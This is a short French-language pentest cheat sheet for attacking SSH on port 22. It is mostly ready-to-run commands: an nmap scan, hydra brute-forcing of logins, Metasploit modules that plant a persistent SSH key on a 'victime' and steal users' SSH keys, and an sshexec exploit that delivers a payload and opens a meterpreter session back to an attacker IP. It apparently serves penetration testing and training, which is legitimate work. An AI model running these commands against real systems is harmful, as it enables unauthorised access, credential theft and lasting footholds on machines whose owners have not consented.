# SSH - port 22

## Mindmap

![](https://3571537825-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOIXudYEdnnE8JjXBrL0o%2Fuploads%2FJjDzDKk24XipNaLsILmF%2Fimage.png?alt=media\&token=15f890be-2b3f-49cb-855b-7aa04ff7a511)

## Scan

*`$ nmap -sV -p22 <target IP>`*

## Connexion

*`$ ssh <username>@<host IP>`*

Ou avec PuTTY

ressource: <https://www.putty.org/>

## Bruteforce

*`$ hydra -L user.txt -P pass.txt <target IP> ssh`*

## Port Redirection

*`$ nano /etc/ssh/sshd_config`*

Une fois dans le fichier, changez simplement le Port 22 par Port 2222 par exemple.

## Persistance

Avec Metasploit:

```bash
msf6 > use post/linux/manage/sshkey_persistence
msf6 post(sshkey_persistence) > set session X
msf6 post(sshkey_persistence) > exploit
```

Cela aura pour effet d'ajouter une clé SSH à un utilisateur spécifié (ou à tous), pour permettre la connexion à distance sur la victime via SSH à tout moment.

On va donc récupérer la clé générée qu'on va par exemple appeler key.txt puis donner au fichier les droits nécessaires (600).

Une fois cela fait on peut donc se connecter en ssh à la cible avec celle-ci.

```bash
chmod 600 key.txt
ssh -i key.txt <username>@<target IP>
```

## Vol de clé SSH

{% hint style="warning" %}
Nécessite une session meterpreter.
{% endhint %}

```bash
msf6 > use post/multi/gather/ssh_creds
msf post(multi/gather/ssh_creds) > set session X
msf post(multi/gather/ssh_creds) > exploit
```

Ce module va télécharger les clés SSH que nous pourront ensuite utiliser pour nous connecter de la même manière de précédemment.&#x20;

```bash
chmod 600 key.txt
ssh -i key.txt <username>@<target IP>
```

## Execution du code utilisateur SSH

Ce module se connecte au système cible et exécute les commandes nécessaires pour exécuter la charge utile spécifiée via SSH. Si une charge utile native est spécifiée, un intermédiaire approprié sera utilisé. Si tout se passe bien, nous obtenons une session meterpreter sur notre machine d'écoute.

```bash
msf6 > use exploit/multi/ssh/sshexec 
msf6 exploit(multi/ssh/sshexec) > set rhosts <host IP> 
msf6 exploit(multi/ssh/sshexec) > set username <username> 
msf6 exploit(multi/ssh/sshexec) > set password <password>
msf6 exploit(multi/ssh/sshexec) > set srvhost <attacker IP> 
msf6 exploit(multi/ssh/sshexec) > exploit
```
